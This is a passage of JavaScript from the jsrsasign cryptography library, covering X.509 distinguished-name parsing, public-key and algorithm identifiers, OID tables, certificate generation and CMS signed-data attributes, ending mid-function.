KJUR.asn1.x509.X500Name.ldapToOneline = function(g) {
    var c = g.split(",");
    var e = false;
    var b = [];
    for (var f = 0; c.length > 0; f++) {
        var h = c.shift();
        if (e === true) {
            var d = b.pop();
            var j = (d + "," + h).replace(/\\,/g, ",");
            b.push(j);
            e = false
        } else {
            b.push(h)
        }
        if (h.substr(-1, 1) === "\\") {
            e = true
        }
    }
    b = b.map(function(a) {
        return a.replace("/", "\\/")
    });
    b.reverse();
    return "/" + b.join("/")
};
KJUR.asn1.x509.RDN = function(a) {
    KJUR.asn1.x509.RDN.superclass.constructor.call(this);
    this.asn1Array = new Array();
    this.addByString = function(b) {
        this.asn1Array.push(new KJUR.asn1.x509.AttributeTypeAndValue({
            str: b
        }))
    };
    this.addByMultiValuedString = function(d) {
        var b = KJUR.asn1.x509.RDN.parseString(d);
        for (var c = 0; c < b.length; c++) {
            this.addByString(b[c])
        }
    };
    this.getEncodedHex = function() {
        var b = new KJUR.asn1.DERSet({
            array: this.asn1Array
        });
        this.TLV = b.getEncodedHex();
        return this.TLV
    };
    if (typeof a != "undefined") {
        if (typeof a.str != "undefined") {
            this.addByMultiValuedString(a.str)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.RDN, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.RDN.parseString = function(m) {
    var j = m.split(/\+/);
    var h = false;
    var c = [];
    for (var g = 0; j.length > 0; g++) {
        var k = j.shift();
        if (h === true) {
            var f = c.pop();
            var d = (f + "+" + k).replace(/\\\+/g, "+");
            c.push(d);
            h = false
        } else {
            c.push(k)
        }
        if (k.substr(-1, 1) === "\\") {
            h = true
        }
    }
    var l = false;
    var b = [];
    for (var g = 0; c.length > 0; g++) {
        var k = c.shift();
        if (l === true) {
            var e = b.pop();
            if (k.match(/"$/)) {
                var d = (e + "+" + k).replace(/^([^=]+)="(.*)"$/, "$1=$2");
                b.push(d);
                l = false
            } else {
                b.push(e + "+" + k)
            }
        } else {
            b.push(k)
        }
        if (k.match(/^[^=]+="/)) {
            l = true
        }
    }
    return b
};
KJUR.asn1.x509.AttributeTypeAndValue = function(d) {
    KJUR.asn1.x509.AttributeTypeAndValue.superclass.constructor.call(this);
    var f = null,
        e = null,
        a = "utf8",
        c = KJUR,
        b = c.asn1;
    this.setByString = function(h) {
        var g = h.match(/^([^=]+)=(.+)$/);
        if (g) {
            this.setByAttrTypeAndValueStr(g[1], g[2])
        } else {
            throw "malformed attrTypeAndValueStr:" + h
        }
    };
    this.setByAttrTypeAndValueStr = function(i, h) {
        this.typeObj = KJUR.asn1.x509.OID.atype2obj(i);
        var g = a;
        if (i == "C") {
            g = "prn"
        }
        this.valueObj = this.getValueObj(g, h)
    };
    this.getValueObj = function(h, g) {
        if (h == "utf8") {
            return new b.DERUTF8String({
                str: g
            })
        }
        if (h == "prn") {
            return new b.DERPrintableString({
                str: g
            })
        }
        if (h == "tel") {
            return new b.DERTeletexString({
                str: g
            })
        }
        if (h == "ia5") {
            return new b.DERIA5String({
                str: g
            })
        }
        throw "unsupported directory string type:type=" + h + " value=" + g
    };
    this.getEncodedHex = function() {
        var g = new b.DERSequence({
            array: [this.typeObj, this.valueObj]
        });
        this.TLV = g.getEncodedHex();
        return this.TLV
    };
    if (typeof d != "undefined") {
        if (typeof d.str != "undefined") {
            this.setByString(d.str)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.AttributeTypeAndValue, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.SubjectPublicKeyInfo = function(f) {
    KJUR.asn1.x509.SubjectPublicKeyInfo.superclass.constructor.call(this);
    var l = null,
        k = null,
        a = KJUR,
        j = a.asn1,
        i = j.DERInteger,
        b = j.DERBitString,
        m = j.DERObjectIdentifier,
        e = j.DERSequence,
        h = j.ASN1Util.newObject,
        d = j.x509,
        o = d.AlgorithmIdentifier,
        g = a.crypto,
        n = g.ECDSA,
        c = g.DSA;
    this.getASN1Object = function() {
        if (this.asn1AlgId == null || this.asn1SubjPKey == null) {
            throw "algId and/or subjPubKey not set"
        }
        var p = new e({
            array: [this.asn1AlgId, this.asn1SubjPKey]
        });
        return p
    };
    this.getEncodedHex = function() {
        var p = this.getASN1Object();
        this.hTLV = p.getEncodedHex();
        return this.hTLV
    };
    this.setPubKey = function(q) {
        try {
            if (q instanceof RSAKey) {
                var u = h({
                    seq: [{
                        "int": {
                            bigint: q.n
                        }
                    }, {
                        "int": {
                            "int": q.e
                        }
                    }]
                });
                var s = u.getEncodedHex();
                this.asn1AlgId = new o({
                    name: "rsaEncryption"
                });
                this.asn1SubjPKey = new b({
                    hex: "00" + s
                })
            }
        } catch (p) {}
        try {
            if (q instanceof KJUR.crypto.ECDSA) {
                var r = new m({
                    name: q.curveName
                });
                this.asn1AlgId = new o({
                    name: "ecPublicKey",
                    asn1params: r
                });
                this.asn1SubjPKey = new b({
                    hex: "00" + q.pubKeyHex
                })
            }
        } catch (p) {}
        try {
            if (q instanceof KJUR.crypto.DSA) {
                var r = new h({
                    seq: [{
                        "int": {
                            bigint: q.p
                        }
                    }, {
                        "int": {
                            bigint: q.q
                        }
                    }, {
                        "int": {
                            bigint: q.g
                        }
                    }]
                });
                this.asn1AlgId = new o({
                    name: "dsa",
                    asn1params: r
                });
                var t = new i({
                    bigint: q.y
                });
                this.asn1SubjPKey = new b({
                    hex: "00" + t.getEncodedHex()
                })
            }
        } catch (p) {}
    };
    if (f !== undefined) {
        this.setPubKey(f)
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.SubjectPublicKeyInfo, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.Time = function(f) {
    KJUR.asn1.x509.Time.superclass.constructor.call(this);
    var e = null,
        a = null,
        d = KJUR,
        c = d.asn1,
        b = c.DERUTCTime,
        g = c.DERGeneralizedTime;
    this.setTimeParams = function(h) {
        this.timeParams = h
    };
    this.getEncodedHex = function() {
        var h = null;
        if (this.timeParams != null) {
            if (this.type == "utc") {
                h = new b(this.timeParams)
            } else {
                h = new g(this.timeParams)
            }
        } else {
            if (this.type == "utc") {
                h = new b()
            } else {
                h = new g()
            }
        }
        this.TLV = h.getEncodedHex();
        return this.TLV
    };
    this.type = "utc";
    if (f !== undefined) {
        if (f.type !== undefined) {
            this.type = f.type
        } else {
            if (f.str !== undefined) {
                if (f.str.match(/^[0-9]{12}Z$/)) {
                    this.type = "utc"
                }
                if (f.str.match(/^[0-9]{14}Z$/)) {
                    this.type = "gen"
                }
            }
        }
        this.timeParams = f
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.Time, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.AlgorithmIdentifier = function(d) {
    KJUR.asn1.x509.AlgorithmIdentifier.superclass.constructor.call(this);
    this.nameAlg = null;
    this.asn1Alg = null;
    this.asn1Params = null;
    this.paramEmpty = false;
    var b = KJUR,
        a = b.asn1;
    this.getEncodedHex = function() {
        if (this.nameAlg === null && this.asn1Alg === null) {
            throw "algorithm not specified"
        }
        if (this.nameAlg !== null && this.asn1Alg === null) {
            this.asn1Alg = a.x509.OID.name2obj(this.nameAlg)
        }
        var e = [this.asn1Alg];
        if (this.asn1Params !== null) {
            e.push(this.asn1Params)
        }
        var f = new a.DERSequence({
            array: e
        });
        this.hTLV = f.getEncodedHex();
        return this.hTLV
    };
    if (d !== undefined) {
        if (d.name !== undefined) {
            this.nameAlg = d.name
        }
        if (d.asn1params !== undefined) {
            this.asn1Params = d.asn1params
        }
        if (d.paramempty !== undefined) {
            this.paramEmpty = d.paramempty
        }
    }
    if (this.asn1Params === null && this.paramEmpty === false && this.nameAlg !== null) {
        var c = this.nameAlg.toLowerCase();
        if (c.substr(-7, 7) !== "withdsa" && c.substr(-9, 9) !== "withecdsa") {
            this.asn1Params = new a.DERNull()
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.AlgorithmIdentifier, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.GeneralName = function(e) {
    KJUR.asn1.x509.GeneralName.superclass.constructor.call(this);
    var k = null,
        h = null,
        i = {
            rfc822: "81",
            dns: "82",
            dn: "a4",
            uri: "86"
        },
        b = KJUR,
        f = b.asn1,
        d = f.DERIA5String,
        c = f.DERTaggedObject,
        j = f.ASN1Object,
        a = f.x509.X500Name,
        g = pemtohex;
    this.explicit = false;
    this.setByParam = function(r) {
        var q = null;
        var n = null;
        if (r === undefined) {
            return
        }
        if (r.rfc822 !== undefined) {
            this.type = "rfc822";
            n = new d({
                str: r[this.type]
            })
        }
        if (r.dns !== undefined) {
            this.type = "dns";
            n = new d({
                str: r[this.type]
            })
        }
        if (r.uri !== undefined) {
            this.type = "uri";
            n = new d({
                str: r[this.type]
            })
        }
        if (r.dn !== undefined) {
            this.type = "dn";
            n = new a({
                str: r.dn
            })
        }
        if (r.ldapdn !== undefined) {
            this.type = "dn";
            n = new a({
                ldapstr: r.ldapdn
            })
        }
        if (r.certissuer !== undefined) {
            this.type = "dn";
            this.explicit = true;
            var o = r.certissuer;
            var m = null;
            if (o.match(/^[0-9A-Fa-f]+$/)) {
                m == o
            }
            if (o.indexOf("-----BEGIN ") != -1) {
                m = g(o)
            }
            if (m == null) {
                throw "certissuer param not cert"
            }
            var l = new X509();
            l.hex = m;
            var p = l.getIssuerHex();
            n = new j();
            n.hTLV = p
        }
        if (r.certsubj !== undefined) {
            this.type = "dn";
            this.explicit = true;
            var o = r.certsubj;
            var m = null;
            if (o.match(/^[0-9A-Fa-f]+$/)) {
                m == o
            }
            if (o.indexOf("-----BEGIN ") != -1) {
                m = g(o)
            }
            if (m == null) {
                throw "certsubj param not cert"
            }
            var l = new X509();
            l.hex = m;
            var p = l.getSubjectHex();
            n = new j();
            n.hTLV = p
        }
        if (this.type == null) {
            throw "unsupported type in params=" + r
        }
        this.asn1Obj = new c({
            explicit: this.explicit,
            tag: i[this.type],
            obj: n
        })
    };
    this.getEncodedHex = function() {
        return this.asn1Obj.getEncodedHex()
    };
    if (e !== undefined) {
        this.setByParam(e)
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.GeneralName, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.GeneralNames = function(d) {
    KJUR.asn1.x509.GeneralNames.superclass.constructor.call(this);
    var a = null,
        c = KJUR,
        b = c.asn1;
    this.setByParamArray = function(g) {
        for (var e = 0; e < g.length; e++) {
            var f = new b.x509.GeneralName(g[e]);
            this.asn1Array.push(f)
        }
    };
    this.getEncodedHex = function() {
        var e = new b.DERSequence({
            array: this.asn1Array
        });
        return e.getEncodedHex()
    };
    this.asn1Array = new Array();
    if (typeof d != "undefined") {
        this.setByParamArray(d)
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.GeneralNames, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.DistributionPointName = function(b) {
    KJUR.asn1.x509.DistributionPointName.superclass.constructor.call(this);
    var h = null,
        e = null,
        a = null,
        g = null,
        d = KJUR,
        c = d.asn1,
        f = c.DERTaggedObject;
    this.getEncodedHex = function() {
        if (this.type != "full") {
            throw "currently type shall be 'full':" + this.type
        }
        this.asn1Obj = new f({
            explicit: false,
            tag: this.tag,
            obj: this.asn1V
        });
        this.hTLV = this.asn1Obj.getEncodedHex();
        return this.hTLV
    };
    if (b !== undefined) {
        if (c.x509.GeneralNames.prototype.isPrototypeOf(b)) {
            this.type = "full";
            this.tag = "a0";
            this.asn1V = b
        } else {
            throw "This class supports GeneralNames only as argument"
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.DistributionPointName, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.DistributionPoint = function(d) {
    KJUR.asn1.x509.DistributionPoint.superclass.constructor.call(this);
    var a = null,
        c = KJUR,
        b = c.asn1;
    this.getEncodedHex = function() {
        var e = new b.DERSequence();
        if (this.asn1DP != null) {
            var f = new b.DERTaggedObject({
                explicit: true,
                tag: "a0",
                obj: this.asn1DP
            });
            e.appendASN1Object(f)
        }
        this.hTLV = e.getEncodedHex();
        return this.hTLV
    };
    if (d !== undefined) {
        if (d.dpobj !== undefined) {
            this.asn1DP = d.dpobj
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.x509.DistributionPoint, KJUR.asn1.ASN1Object);
KJUR.asn1.x509.OID = new function(a) {
    this.atype2oidList = {
        CN: "2.5.4.3",
        L: "2.5.4.7",
        ST: "2.5.4.8",
        O: "2.5.4.10",
        OU: "2.5.4.11",
        C: "2.5.4.6",
        STREET: "2.5.4.9",
        DC: "0.9.2342.19200300.100.1.25",
        UID: "0.9.2342.19200300.100.1.1",
        SN: "2.5.4.4",
        DN: "2.5.4.49",
        E: "1.2.840.113549.1.9.1",
        businessCategory: "2.5.4.15",
        postalCode: "2.5.4.17",
        serialNumber: "2.5.4.5",
        jurisdictionOfIncorporationL: "1.3.6.1.4.1.311.60.2.1.1",
        jurisdictionOfIncorporationSP: "1.3.6.1.4.1.311.60.2.1.2",
        jurisdictionOfIncorporationC: "1.3.6.1.4.1.311.60.2.1.3"
    };
    this.name2oidList = {
        sha1: "1.3.14.3.2.26",
        sha256: "2.16.840.1.101.3.4.2.1",
        sha384: "2.16.840.1.101.3.4.2.2",
        sha512: "2.16.840.1.101.3.4.2.3",
        sha224: "2.16.840.1.101.3.4.2.4",
        md5: "1.2.840.113549.2.5",
        md2: "1.3.14.7.2.2.1",
        ripemd160: "1.3.36.3.2.1",
        MD2withRSA: "1.2.840.113549.1.1.2",
        MD4withRSA: "1.2.840.113549.1.1.3",
        MD5withRSA: "1.2.840.113549.1.1.4",
        SHA1withRSA: "1.2.840.113549.1.1.5",
        SHA224withRSA: "1.2.840.113549.1.1.14",
        SHA256withRSA: "1.2.840.113549.1.1.11",
        SHA384withRSA: "1.2.840.113549.1.1.12",
        SHA512withRSA: "1.2.840.113549.1.1.13",
        SHA1withECDSA: "1.2.840.10045.4.1",
        SHA224withECDSA: "1.2.840.10045.4.3.1",
        SHA256withECDSA: "1.2.840.10045.4.3.2",
        SHA384withECDSA: "1.2.840.10045.4.3.3",
        SHA512withECDSA: "1.2.840.10045.4.3.4",
        dsa: "1.2.840.10040.4.1",
        SHA1withDSA: "1.2.840.10040.4.3",
        SHA224withDSA: "2.16.840.1.101.3.4.3.1",
        SHA256withDSA: "2.16.840.1.101.3.4.3.2",
        rsaEncryption: "1.2.840.113549.1.1.1",
        commonName: "2.5.4.3",
        localityName: "2.5.4.7",
        stateOrProvinceName: "2.5.4.8",
        organizationName: "2.5.4.10",
        organizationalUnitName: "2.5.4.11",
        countryName: "2.5.4.6",
        streetAddress: "2.5.4.9",
        domainComponent: "0.9.2342.19200300.100.1.25",
        userId: "0.9.2342.19200300.100.1.1",
        surname: "2.5.4.4",
        distinguishedName: "2.5.4.49",
        emailAddress: "1.2.840.113549.1.9.1",
        businessCategory: "2.5.4.15",
        postalCode: "2.5.4.17",
        jurisdictionOfIncorporationL: "1.3.6.1.4.1.311.60.2.1.1",
        jurisdictionOfIncorporationSP: "1.3.6.1.4.1.311.60.2.1.2",
        jurisdictionOfIncorporationC: "1.3.6.1.4.1.311.60.2.1.3",
        subjectKeyIdentifier: "2.5.29.14",
        keyUsage: "2.5.29.15",
        subjectAltName: "2.5.29.17",
        issuerAltName: "2.5.29.18",
        basicConstraints: "2.5.29.19",
        nameConstraints: "2.5.29.30",
        cRLDistributionPoints: "2.5.29.31",
        certificatePolicies: "2.5.29.32",
        authorityKeyIdentifier: "2.5.29.35",
        policyConstraints: "2.5.29.36",
        extKeyUsage: "2.5.29.37",
        authorityInfoAccess: "1.3.6.1.5.5.7.1.1",
        ocsp: "1.3.6.1.5.5.7.48.1",
        caIssuers: "1.3.6.1.5.5.7.48.2",
        anyExtendedKeyUsage: "2.5.29.37.0",
        serverAuth: "1.3.6.1.5.5.7.3.1",
        clientAuth: "1.3.6.1.5.5.7.3.2",
        codeSigning: "1.3.6.1.5.5.7.3.3",
        emailProtection: "1.3.6.1.5.5.7.3.4",
        timeStamping: "1.3.6.1.5.5.7.3.8",
        ocspSigning: "1.3.6.1.5.5.7.3.9",
        ecPublicKey: "1.2.840.10045.2.1",
        secp256r1: "1.2.840.10045.3.1.7",
        secp256k1: "1.3.132.0.10",
        secp384r1: "1.3.132.0.34",
        pkcs5PBES2: "1.2.840.113549.1.5.13",
        pkcs5PBKDF2: "1.2.840.113549.1.5.12",
        "des-EDE3-CBC": "1.2.840.113549.3.7",
        data: "1.2.840.113549.1.7.1",
        "signed-data": "1.2.840.113549.1.7.2",
        "enveloped-data": "1.2.840.113549.1.7.3",
        "digested-data": "1.2.840.113549.1.7.5",
        "encrypted-data": "1.2.840.113549.1.7.6",
        "authenticated-data": "1.2.840.113549.1.9.16.1.2",
        tstinfo: "1.2.840.113549.1.9.16.1.4",
        extensionRequest: "1.2.840.113549.1.9.14",
    };
    this.objCache = {};
    this.name2obj = function(b) {
        if (typeof this.objCache[b] != "undefined") {
            return this.objCache[b]
        }
        if (typeof this.name2oidList[b] == "undefined") {
            throw "Name of ObjectIdentifier not defined:" + b
        }
        var c = this.name2oidList[b];
        var d = new KJUR.asn1.DERObjectIdentifier({
            oid: c
        });
        this.objCache[b] = d;
        return d
    };
    this.atype2obj = function(b) {
        if (typeof this.objCache[b] != "undefined") {
            return this.objCache[b]
        }
        if (typeof this.atype2oidList[b] == "undefined") {
            throw "AttributeType name undefined:" + b
        }
        var c = this.atype2oidList[b];
        var d = new KJUR.asn1.DERObjectIdentifier({
            oid: c
        });
        this.objCache[b] = d;
        return d
    }
};
KJUR.asn1.x509.OID.oid2name = function(b) {
    var c = KJUR.asn1.x509.OID.name2oidList;
    for (var a in c) {
        if (c[a] == b) {
            return a
        }
    }
    return ""
};
KJUR.asn1.x509.OID.oid2atype = function(b) {
    var c = KJUR.asn1.x509.OID.atype2oidList;
    for (var a in c) {
        if (c[a] == b) {
            return a
        }
    }
    return b
};
KJUR.asn1.x509.OID.name2oid = function(a) {
    var b = KJUR.asn1.x509.OID.name2oidList;
    if (b[a] === undefined) {
        return ""
    }
    return b[a]
};
KJUR.asn1.x509.X509Util = {};
KJUR.asn1.x509.X509Util.newCertPEM = function(h) {
    var g = KJUR.asn1.x509,
        b = g.TBSCertificate,
        a = g.Certificate;
    var f = new b();
    if (h.serial !== undefined) {
        f.setSerialNumberByParam(h.serial)
    } else {
        throw "serial number undefined."
    }
    if (typeof h.sigalg.name === "string") {
        f.setSignatureAlgByParam(h.sigalg)
    } else {
        throw "unproper signature algorithm name"
    }
    if (h.issuer !== undefined) {
        f.setIssuerByParam(h.issuer)
    } else {
        throw "issuer name undefined."
    }
    if (h.notbefore !== undefined) {
        f.setNotBeforeByParam(h.notbefore)
    } else {
        throw "notbefore undefined."
    }
    if (h.notafter !== undefined) {
        f.setNotAfterByParam(h.notafter)
    } else {
        throw "notafter undefined."
    }
    if (h.subject !== undefined) {
        f.setSubjectByParam(h.subject)
    } else {
        throw "subject name undefined."
    }
    if (h.sbjpubkey !== undefined) {
        f.setSubjectPublicKeyByGetKey(h.sbjpubkey)
    } else {
        throw "subject public key undefined."
    }
    if (h.ext !== undefined && h.ext.length !== undefined) {
        for (var d = 0; d < h.ext.length; d++) {
            for (key in h.ext[d]) {
                f.appendExtensionByName(key, h.ext[d][key])
            }
        }
    }
    if (h.cakey === undefined && h.sighex === undefined) {
        throw "param cakey and sighex undefined."
    }
    var e = null;
    var c = null;
    if (h.cakey) {
        if (h.cakey.isPrivate === true) {
            e = h.cakey
        } else {
            e = KEYUTIL.getKey.apply(null, h.cakey)
        }
        c = new a({
            tbscertobj: f,
            prvkeyobj: e
        });
        c.sign()
    }
    if (h.sighex) {
        c = new a({
            tbscertobj: f
        });
        c.setSignatureHex(h.sighex)
    }
    return c.getPEMString()
};
if (typeof KJUR == "undefined" || !KJUR) {
    KJUR = {}
}
if (typeof KJUR.asn1 == "undefined" || !KJUR.asn1) {
    KJUR.asn1 = {}
}
if (typeof KJUR.asn1.cms == "undefined" || !KJUR.asn1.cms) {
    KJUR.asn1.cms = {}
}
KJUR.asn1.cms.Attribute = function(d) {
    var a = [],
        c = KJUR,
        b = c.asn1;
    b.cms.Attribute.superclass.constructor.call(this);
    this.getEncodedHex = function() {
        var h, g, e;
        h = new b.DERObjectIdentifier({
            oid: this.attrTypeOid
        });
        g = new b.DERSet({
            array: this.valueList
        });
        try {
            g.getEncodedHex()
        } catch (f) {
            throw "fail valueSet.getEncodedHex in Attribute(1)/" + f
        }
        e = new b.DERSequence({
            array: [h, g]
        });
        try {
            this.hTLV = e.getEncodedHex()
        } catch (f) {
            throw "failed seq.getEncodedHex in Attribute(2)/" + f
        }
        return this.hTLV
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.Attribute, KJUR.asn1.ASN1Object);
KJUR.asn1.cms.ContentType = function(d) {
    var c = KJUR,
        b = c.asn1;
    b.cms.ContentType.superclass.constructor.call(this);
    this.attrTypeOid = "1.2.840.113549.1.9.3";
    var a = null;
    if (typeof d != "undefined") {
        var a = new b.DERObjectIdentifier(d);
        this.valueList = [a]
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.ContentType, KJUR.asn1.cms.Attribute);
KJUR.asn1.cms.MessageDigest = function(d) {
    var b = KJUR,
        e = b.asn1,
        g = e.DEROctetString,
        i = e.cms;
    i.MessageDigest.superclass.constructor.call(this);
    this.attrTypeOid = "1.2.840.113549.1.9.4";
    if (d !== undefined) {
        if (d.eciObj instanceof i.EncapsulatedContentInfo && typeof d.hashAlg === "string") {
            var h = d.eciObj.eContentValueHex;
            var c = d.hashAlg;
            var a = b.crypto.Util.hashHex(h, c);
            var f = new g({
                hex: a
            });
            f.getEncodedHex();
            this.valueList = [f]
        } else {
            var f = new g(d);
            f.getEncodedHex();
            this.valueList = [f]
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.MessageDigest, KJUR.asn1.cms.Attribute);
KJUR.asn1.cms.SigningTime = function(e) {
    var d = KJUR,
        c = d.asn1;
    c.cms.SigningTime.superclass.constructor.call(this);
    this.attrTypeOid = "1.2.840.113549.1.9.5";
    if (e !== undefined) {
        var a = new c.x509.Time(e);
        try {
            a.getEncodedHex()
        } catch (b) {
            throw "SigningTime.getEncodedHex()failed/" + b
        }
        this.valueList = [a]
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.SigningTime, KJUR.asn1.cms.Attribute);
KJUR.asn1.cms.SigningCertificate = function(f) {
    var c = KJUR,
        b = c.asn1,
        a = b.DERSequence,
        e = b.cms,
        d = c.crypto;
    e.SigningCertificate.superclass.constructor.call(this);
    this.attrTypeOid = "1.2.840.113549.1.9.16.2.12";
    this.setCerts = function(n) {
        var l = [];
        for (var k = 0; k < n.length; k++) {
            var h = pemtohex(n[k]);
            var g = c.crypto.Util.hashHex(h, "sha1");
            var o = new b.DEROctetString({
                hex: g
            });
            o.getEncodedHex();
            var m = new e.IssuerAndSerialNumber({
                cert: n[k]
            });
            m.getEncodedHex();
            var p = new a({
                array: [o, m]
            });
            p.getEncodedHex();
            l.push(p)
        }
        var j = new a({
            array: l
        });
        j.getEncodedHex();
        this.valueList = [j]
    };
    if (f !== undefined) {
        if (typeof f.array == "object") {
            this.setCerts(f.array)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.SigningCertificate, KJUR.asn1.cms.Attribute);
KJUR.asn1.cms.SigningCertificateV2 = function(h) {
    var d = KJUR,
        c = d.asn1,
        b = c.DERSequence,
        g = c.x509,
        f = c.cms,
        e = d.crypto;
    f.SigningCertificateV2.superclass.constructor.call(this);
    this.attrTypeOid = "1.2.840.113549.1.9.16.2.47";
    this.setCerts = function(r, k) {
        var p = [];
        for (var n = 0; n < r.length; n++) {
            var l = pemtohex(r[n]);
            var t = [];
            if (k !== "sha256") {
                t.push(new g.AlgorithmIdentifier({
                    name: k
                }))
            }
            var j = e.Util.hashHex(l, k);
            var s = new c.DEROctetString({
                hex: j
            });
            s.getEncodedHex();
            t.push(s);
            var o = new f.IssuerAndSerialNumber({
                cert: r[n]
            });
            o.getEncodedHex();
            t.push(o);
            var q = new b({
                array: t
            });
            q.getEncodedHex();
            p.push(q)
        }
        var m = new b({
            array: p
        });
        m.getEncodedHex();
        this.valueList = [m]
    };
    if (h !== undefined) {
        if (typeof h.array == "object") {
            var a = "sha256";
            if (typeof h.hashAlg == "string") {
                a = h.hashAlg
            }
            this.setCerts(h.array, a)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.SigningCertificateV2, KJUR.asn1.cms.Attribute);
KJUR.asn1.cms.IssuerAndSerialNumber = function(e) {
    var b = KJUR,
        g = b.asn1,
        f = g.DERInteger,
        i = g.cms,
        d = g.x509,
        a = d.X500Name,
        c = X509;
    i.IssuerAndSerialNumber.superclass.constructor.call(this);
    var j = null;
    var h = null;
    this.setByCertPEM = function(n) {
        var l = pemtohex(n);
        var k = new c();
        k.hex = l;
        var o = k.getIssuerHex();
        this.dIssuer = new a();
        this.dIssuer.hTLV = o;
        var m = k.getSerialNumberHex();
        this.dSerial = new f({
            hex: m
        })
    };
    this.getEncodedHex = function() {
        var k = new g.DERSequence({
            array: [this.dIssuer, this.dSerial]
        });
        this.hTLV = k.getEncodedHex();
        return this.hTLV
    };
    if (e !== undefined) {
        if (typeof e == "string" && e.indexOf("-----BEGIN ") != -1) {
            this.setByCertPEM(e)
        }
        if (e.issuer && e.serial) {
            if (e.issuer instanceof a) {
                this.dIssuer = e.issuer
            } else {
                this.dIssuer = new a(e.issuer)
            }
            if (e.serial instanceof f) {
                this.dSerial = e.serial
            } else {
                this.dSerial = new f(e.serial)
            }
        }
        if (typeof e.cert == "string") {
            this.setByCertPEM(e.cert)
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.IssuerAndSerialNumber, KJUR.asn1.ASN1Object);
KJUR.asn1.cms.AttributeList = function(d) {
    var b = KJUR,
        a = b.asn1,
        c = a.cms;
    c.AttributeList.superclass.constructor.call(this);
    this.list = new Array();
    this.sortFlag = true;
    this.add = function(e) {
        if (e instanceof c.Attribute) {
            this.list.push(e)
        }
    };
    this.length = function() {
        return this.list.length
    };
    this.clear = function() {
        this.list = new Array();
        this.hTLV = null;
        this.hV = null
    };
    this.getEncodedHex = function() {
        if (typeof this.hTLV == "string") {
            return this.hTLV
        }
        var e = new a.DERSet({
            array: this.list,
            sortflag: this.sortFlag
        });
        this.hTLV = e.getEncodedHex();
        return this.hTLV
    };
    if (d !== undefined) {
        if (typeof d.sortflag != "undefined" && d.sortflag == false) {
            this.sortFlag = false
        }
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.AttributeList, KJUR.asn1.ASN1Object);
KJUR.asn1.cms.SignerInfo = function(e) {
    var a = KJUR,
        h = a.asn1,
        b = h.DERTaggedObject,
        n = h.cms,
        j = n.AttributeList,
        g = n.ContentType,
        k = n.EncapsulatedContentInfo,
        c = n.MessageDigest,
        l = n.SignedData,
        d = h.x509,
        m = d.AlgorithmIdentifier,
        f = a.crypto,
        i = KEYUTIL;
    n.SignerInfo.superclass.constructor.call(this);
    this.dCMSVersion = new h.DERInteger({
        "int": 1
    });
    this.dSignerIdentifier = null;
    this.dDigestAlgorithm = null;
    this.dSignedAttrs = new j();
    this.dSigAlg = null;
    this.dSig = null;
    this.dUnsignedAttrs = new j();
    this.setSignerIdentifier = function(p) {
        if (typeof p == "string" && p.indexOf("CERTIFICATE") != -1 && p.indexOf("BEGIN") != -1 && p.indexOf("END") != -1) {
            var o = p;
            this.dSignerIdentifier = new n.IssuerAndSerialNumber({
                cert: p
            })
        }
    };
    this.setForContentAndHash = function(o) {
        if (o !== undefined) {
            if (o.eciObj instanceof k) {
                this.dSignedAttrs.add(new g({
                    oid: "1.2.840.113549.1.7.1"
                }));
                this.dSignedAttrs.add(new c({
                    eciObj: o.eciObj,
                    hashAlg: o.hashAlg
                }))
            }
            if (o.sdObj !== undefined && o.sdObj instanceof l) {
                if (o.sdObj.digestAlgNameList.join(":").indexOf(o.hashAlg) == -1) {
                    o.sdObj.digestAlgNameList.push(o.hashAlg)
                }
            }
            if (typeof o.hashAlg == "string") {
                this.dDigestAlgorithm = new m({
                    name: o.hashAlg
                })
            }
        }
    };
    this.sign = function(t, p) {
        this.dSigAlg = new m({
            name: p
        });
        var q = this.dSignedAttrs.getEncodedHex();
        var o = i.getKey(t);
        var s = new f.Signature({
            alg: p
        });
        s.init(o);
        s.updateHex(q);
        var r = s.sign();
        this.dSig = new h.DEROctetString({
            hex: r
        })
    };
    this.addUnsigned = function(o) {
        this.hTLV = null;
        this.dUnsignedAttrs.hTLV = null;
        this.dUnsignedAttrs.add(o)
    };
    this.getEncodedHex = function() {
        if (this.dSignedAttrs instanceof j && this.dSignedAttrs.length() == 0) {
            throw "SignedAttrs length =0 (empty)"
        }
        var o = new b({
            obj: this.dSignedAttrs,
            tag: "a0",
            explicit: false
        });
        var r = null;
        if (this.dUnsignedAttrs.length() > 0) {
            r = new b({
                obj: this.dUnsignedAttrs,
                tag: "a1",
                explicit: false
            })
        }
        var q = [this.dCMSVersion, this.dSignerIdentifier, this.dDigestAlgorithm, o, this.dSigAlg, this.dSig, ];
        if (r != null) {
            q.push(r)
        }
        var p = new h.DERSequence({
            array: q
        });
        this.hTLV = p.getEncodedHex();
        return this.hTLV
    }
};
YAHOO.lang.extend(KJUR.asn1.cms.SignerInfo, KJUR.asn1.ASN1Object);
KJUR.asn1.cms.EncapsulatedContentInfo = function(g) {
    var c = KJUR,
        b = c.asn1,
        e = b.DERTaggedObject,
        a = b.DERSequence,
        h = b.DERObjectIdentifier,
        d = b.DEROctetString,
        f = b.cms;
    f.EncapsulatedContentInfo.superclass.constructor.call(this);
    this.dEContentType = new h({
        name: "data"
    });
    this.dEContent = null;
    this.isDetached = false;
    this.eContentValueHex = null;
    this.setContentType = function(i) {
